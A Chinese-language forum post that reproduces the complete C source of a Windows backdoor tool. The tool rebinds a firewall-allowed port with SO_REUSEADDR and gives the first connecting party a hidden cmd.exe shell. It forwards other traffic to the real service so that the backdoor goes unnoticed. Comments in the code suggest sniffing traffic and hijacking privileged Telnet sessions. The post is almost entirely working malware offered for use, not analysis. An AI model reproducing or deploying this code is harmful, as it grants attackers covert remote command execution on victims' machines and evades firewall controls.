返回列表 回复 发帖

端口重绑定后门工具源代码

信息来源:dahubaobao

端口复用相关资料
  1. /*
  2. ***********************************************************
  3. 端口重绑定后门工具
  4. 原理:通过把端口重绑定到防火墙开放的端口实现穿越防火墙的功能
  5. 感谢:wineggdrop(还有一位不知道名字,本程序主干修改自他的代码)
  6. 用途:当防火墙BT到连反向连接到封闭时,可以尝试一下这个
  7. 留言:其实我也是脚本小子,我只是把两位大虾的代码合并在一齐而已
  8.     了,自己写的不过10行。其实还有一个svchost.exe的功能是一样
  9.     过我发现那个不好使,所以就写了这个。
  10. ***********************************************************
  11. */
  12. #include "stdafx.h"
  13. #include <winsock2.h>
  14. #include <windows.h>
  15. #include <stdio.h>
  16. #include <stdlib.h>
  17. #pragma comment(lib, "ws2_32.lib")

  18. DWORD WINAPI ClientThread(LPVOID lpParam);//原端口转发
  19. DWORD WINAPI ServerThread(LPVOID lpParam);//CMDSHELL线程,抄写自wineggdrop

  20. unsigned int port=21;//重绑定端口
  21. BOOL Connected;

  22. //************抄写自wineggdrop的代码***************

  23. unsigned int ReceiveMessageFromSocket(const SOCKET ClientSocket,char *Buffer,unsigned int BufferSize)
  24. {
  25. ZeroMemory(Buffer,BufferSize);     // Reset The Buffer

  26. if (BufferSize < 2)     // Buffer Size Is Less Then 2
  27. {
  28.     return 0;     // Dump
  29. }

  30. unsigned int CharacterCount = 0;     

  31. while(TRUE)
  32. {
  33.   if (CharacterCount >= BufferSize)     // The Characters Received Is Bigger Or Equal The Buffer Size
  34.   {
  35.       // Give The Buffer An Enter
  36.       Buffer[BufferSize-2] = '\r';
  37.       Buffer[BufferSize-1] = '\n';
  38.       return CharacterCount;     // Return The Characters Received
  39.   }

  40.   if (recv(ClientSocket,Buffer+CharacterCount,1,0) == SOCKET_ERROR)     // Fail To Receive Data
  41.   {
  42.       return SOCKET_ERROR;     // Return Error
  43.   }

  44.   if (Buffer[CharacterCount] == '\b')     // Back Space Detected
  45.   {
  46.       Buffer[CharacterCount] = '\0';     // Skip It
  47.       if (CharacterCount > 0)     // Characters Received Is Bigger Than 0
  48.       {
  49.         CharacterCount--;     // Decrease One Character
  50.         Buffer[CharacterCount] = '\0';
  51.       }
  52.       continue;     // Begin A New Loop
  53.   }

  54.   if (Buffer[CharacterCount++] == '\n')     // Enter Is Detected
  55.   {
  56.       return CharacterCount;     // Return The Characters Received
  57.   }
  58. }
  59. return 0;
  60. }

  61. BOOL SendSocket(const SOCKET ClientSocket,const char *Message)
  62. {
  63. return (send(ClientSocket,Message,strlen(Message),0)!=SOCKET_ERROR);
  64. }

  65. //***********抄写结束*******

  66. int usage(char * appname)
  67. {
  68.   printf("%s 端口重绑定后门工具\n"
  69.     "使用方法:%s [重绑定端口(可选,默认是80)] \n",appname,appname);
  70.   exit(0);
  71. }

  72. int main(int argc, char* argv[])
  73. {

  74. WORD wVersionRequested;
  75. DWORD ret;
  76. WSADATA wsaData;
  77. BOOL val;
  78. SOCKADDR_IN saddr;
  79. SOCKADDR_IN scaddr;
  80. int err;
  81. SOCKET s;
  82. SOCKET sc;
  83. int caddsize;
  84. HANDLE mt;
  85. DWORD tid;

  86. Connected=FALSE;

  87. if (argc!=1)
  88.   port=atoi(argv[1]);

  89. printf("[i]Startup.....\n");

  90. wVersionRequested = MAKEWORD( 2, 2 );
  91. err = WSAStartup( wVersionRequested, &wsaData );
  92. if ( err != 0 ) {
  93. printf("[-]WSAStartup failed!\n");
  94. return -1;
  95. }
  96. saddr.sin_family = AF_INET;

  97. //截听虽然也可以将地址指定为INADDR_ANY,
  98. //但是要不能影响正常应用情况下,
  99. //应该指定具体的IP,留下127.0.0.1给正常的服务应用,
  100. //然后利用这个地址进行转发,
  101. //就可以不影响对方正常应用了
  102. printf("[i]Bind.....\n");

  103. //*********以下代码抄写自wineggdrop**********

  104. char FAR name[255];
  105. gethostname(name, 255);//获得主机名
  106. struct hostent FAR * pHostent;     
  107. pHostent = (struct hostent * )malloc(sizeof(struct hostent));
  108. pHostent = gethostbyname(name);//获得IP
  109. memcpy(&saddr.sin_addr.S_un.S_addr, pHostent->h_addr_list[0], pHostent->h_length); //复制IP

  110. //**********抄写结束*************



  111. saddr.sin_port = htons(port);
  112. if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
  113. {
  114. printf("[-]socket failed!\n");
  115. return -1;
  116. }
  117. val = TRUE;

  118. //********以下代码修改自......不知道是谁,反正不是我原创的*********

  119. //SO_REUSEADDR选项就是可以实现端口重绑定的
  120. if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
  121. {
  122. printf("[-]setsockopt failed!\n");
  123. return -1;
  124. }
  125. //如果指定了SO_EXCLUSIVEADDRUSE,
  126. //就不会绑定成功,返回无权限的错误代码;
  127. //如果是想通过重利用端口达到隐藏的目的,
  128. //就可以动态的测试当前已绑定的端口哪个可以成功,
  129. //就说明具备这个漏洞,然后动态利用端口使得更隐蔽
  130. if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
  131. {
  132. ret=GetLastError();
  133. printf("[-]bind failed!\n");
  134. return -1;
  135. }

  136. while(1)
  137. {
  138. caddsize = sizeof(scaddr);
  139. //接受连接请求
  140. printf("[+]Listening.....\n");
  141. listen(s,5);
  142. sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
  143. printf("[+]Someone connect port %d\n",port);
  144. if(sc!=INVALID_SOCKET)
  145. {
  146. if(Connected)
  147. {
  148. mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);//原端口转发
  149. printf("[+]%d -> %d Thread Created!\n",port,port);
  150. }
  151. else
  152. {
  153. mt = CreateThread(NULL,0,ServerThread,(LPVOID)sc,0,&tid);//重定向线程
  154. printf("[+] CMDShell Thread Created!\n");
  155. Connected=TRUE;
  156. }
  157. if(mt==NULL)
  158. {
  159. printf("Thread Creat Failed!\n");
  160. break;
  161. }
  162. }
  163. CloseHandle(mt);
  164. }
  165. closesocket(s);
  166. WSACleanup();
  167. return 0;
  168. }

  169. DWORD WINAPI ClientThread(LPVOID lpParam)//原端口转发
  170. {
  171. SOCKET ss = (SOCKET)lpParam;
  172. SOCKET sc;
  173. char buf[4096];
  174. SOCKADDR_IN saddr;
  175. long num;
  176. DWORD val;
  177. DWORD ret;

  178. //如果是隐藏端口应用的话,
  179. //可以在此处加一些判断
  180. //如果是自己的包,就可以进行一些特殊处理,
  181. //不是的话通过127.0.0.1进行转发

  182. saddr.sin_family = AF_INET;
  183. saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
  184. saddr.sin_port = htons(port);
  185. if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
  186. {
  187. printf("error!socket failed!\n");
  188. return -1;
  189. }
  190. val = 100;
  191. if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
  192. {
  193. ret = GetLastError();
  194. return -1;
  195. }
  196. if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
  197. {
  198. ret = GetLastError();
  199. return -1;
  200. }
  201. if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
  202. {
  203. printf("error!socket connect failed!\n");
  204. closesocket(sc);
  205. closesocket(ss);
  206. return -1;
  207. }
  208. while(1)
  209. {
  210. //下面的代码主要是实现通过127。0。0。1
  211. //这个地址把包转发到真正的应用上,
  212. //并把应答的包再转发回去。
  213. //如果是嗅探内容的话,
  214. //可以再此处进行内容分析和记录
  215. //如果是攻击如TELNET服务器,
  216. //利用其高权限登陆用户的话,
  217. //可以分析其登陆用户,
  218. //然后利用发送特定的包以劫持的用户身份执行。
  219. num = recv(ss,&(buf[0]),4096,0);
  220. if(num>0)
  221. send(sc,buf,num,0);
  222. else if(num==0)
  223. break;
  224. num = recv(sc,buf,4096,0);
  225. if(num>0)
  226. send(ss,buf,num,0);
  227. else if(num==0)
  228. break;
  229. }
  230. closesocket(ss);
  231. closesocket(sc);
  232. return 0 ;
  233. }

  234. DWORD WINAPI ServerThread(LPVOID lpParam)//重定向线程
  235. {
  236. SOCKET ListenSocket = (SOCKET)lpParam;

  237. //**************除上面一句是自己的,下面的都是wineggdrop的代码:)******

  238. char ReceiveBuffer[MAX_PATH + 1];     // The Receive Buffer
  239. char SendBuffer[1024 * 4];     // The Send Buffer

  240. unsigned long OutputLength,InputLength;     // The Input And Output Length

  241. // The Pipe And Some Other Sutff
  242. HANDLE ClientReadPipe = NULL;     
  243. HANDLE ClientWritePipe = NULL;
  244. HANDLE CmdWritePipe = NULL;
  245. HANDLE CmdReadPipe = NULL;

  246. SECURITY_ATTRIBUTES sa           = {0};
  247. STARTUPINFO       si           = {0};
  248. PROCESS_INFORMATION pi           = {0};

  249. ZeroMemory(ReceiveBuffer,sizeof(ReceiveBuffer));

  250. if (GetSystemDirectory(ReceiveBuffer,MAX_PATH))     // Get System Directory
  251. {
  252.   strcat(ReceiveBuffer,"\\cmd.exe");     // Get The Cmd.exe Full Path
  253. }
  254. else     // Fail To Get System Directory
  255. {
  256.   SendSocket(ListenSocket,"Fail To Get System Diretory\r\n");     // Display Error Message
  257.   return FALSE;     // Return
  258. }

  259. // Initize The Stuff
  260. sa.nLength = sizeof(sa);
  261. sa.bInheritHandle = TRUE;
  262. sa.lpSecurityDescriptor = NULL;
  263. memset(&pi,0,sizeof(pi));

  264. if (!CreatePipe(&ClientReadPipe,&CmdWritePipe,&sa,0))     // Fail To Create Client Read Pipe
  265. {
  266.   SendSocket(ListenSocket,"Fail To Create Client Read Pipe\r\n");     // Display Error Message
  267.   goto CleanUP;     // Leave
  268. }

  269. if (!CreatePipe(&CmdReadPipe,&ClientWritePipe,&sa,0))     // Fail To Create Cmd Read Pipe
  270. {
  271.   SendSocket(ListenSocket,"Fail To Create CMD Read Pipe\r\n");     // Display Error Message
  272.   goto CleanUP;     // Leave
  273. }

  274. // Reset And Initize Stuff
  275. memset((void *)&si,0,sizeof(si));
  276. memset((void *)&pi,0,sizeof(pi));
  277. si.cb = sizeof(si);
  278. si.dwFlags   = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
  279. si.wShowWindow = SW_HIDE;

  280. si.hStdInput = CmdReadPipe;     // Pass The CmdReadPipe To StdInput
  281. si.hStdError = CmdWritePipe;     // Pass The CmdWritePipe To StdError
  282. si.hStdOutput = CmdWritePipe;     // Pass The CmdWritePipe To StdOutput

  283. if (!CreateProcess(ReceiveBuffer,NULL,NULL,NULL,1,0,NULL, NULL,&si,&pi))     // Fail To Create A Cmd Shell Process
  284. {
  285.   SendSocket(ListenSocket,"Fail To Create Process\r\n");     // Display Error Message
  286.   goto CleanUP;     // Leave
  287. }

  288. while(TRUE)     // Shell Commincation Starts Here
  289. {
  290.   if (!PeekNamedPipe(ClientReadPipe,SendBuffer,sizeof(SendBuffer),&OutputLength,NULL,NULL))     // Fail To Get Data From The Pipe
  291.   {
  292.       SendSocket(ListenSocket,"Fail To Peek Name Pipe\r\n");     // Display Error Message
  293.       break;     // Leave
  294.   }
  295.   if (OutputLength > 0)     // Get Data From The Pipe Successfully
  296.   {
  297.       ZeroMemory(SendBuffer,sizeof(SendBuffer));     // Reset The Send Buffer
  298.       if (!ReadFile(ClientReadPipe,SendBuffer,OutputLength,&OutputLength,0))     //Fail To Read The Data
  299.       {
  300.         SendSocket(ListenSocket,"Fail To Read File\r\n");     // Display Error Message
  301.         break;     // Leave
  302.       }
  303.       if (send(ListenSocket,SendBuffer,OutputLength,0) == SOCKET_ERROR)     // Fail To Send The Data
  304.       {
  305.         printf("Fail To Send Buffer\n");     // Display Error Message
  306.         break;     // Leave
  307.       }
  308.   }
  309.   else
  310.   {
  311.       ZeroMemory(ReceiveBuffer,sizeof(ReceiveBuffer));     // Reset Receive Buffer
  312.       InputLength = ReceiveMessageFromSocket(ListenSocket, ReceiveBuffer, sizeof(ReceiveBuffer));     // Receive Input From Client
  313.       if (InputLength == SOCKET_ERROR)     // Fail To Receive Data
  314.       {
  315.         printf("Fail To Receive Buffer\n");     // Display Error Message
  316.         break;     // Leave
  317.       }

  318.       if (!WriteFile(ClientWritePipe,ReceiveBuffer,InputLength,&InputLength,0))     // Fail To Write The Received Data To The Pipe
  319.       {
  320.         printf("Fail To Write File\n");     // Display Error Message
  321.         break;     // Leave
  322.       }

  323.       // Leave The Shell
  324.       if (strnicmp((char*)ReceiveBuffer, "exit\r\n", 6) == 0 || strnicmp((char*)ReceiveBuffer, "exit\r", 5)==0 || strnicmp((char*)ReceiveBuffer, "exit\n", 5)==0)
  325.         break;
  326.   }
  327. }

  328. // Clean All Resource Allocated
  329. CleanUP:
  330.     if (CmdReadPipe != NULL)
  331.       CloseHandle(CmdReadPipe);
  332.     if (CmdWritePipe != NULL)
  333.       CloseHandle(CmdWritePipe);
  334.     if (ClientReadPipe != NULL)
  335.       CloseHandle(ClientReadPipe);
  336.     if (ClientWritePipe)
  337.       CloseHandle(ClientWritePipe);


  338.   Connected=FALSE;
  339.   
  340.   return 0;
  341. }
复制代码
返回列表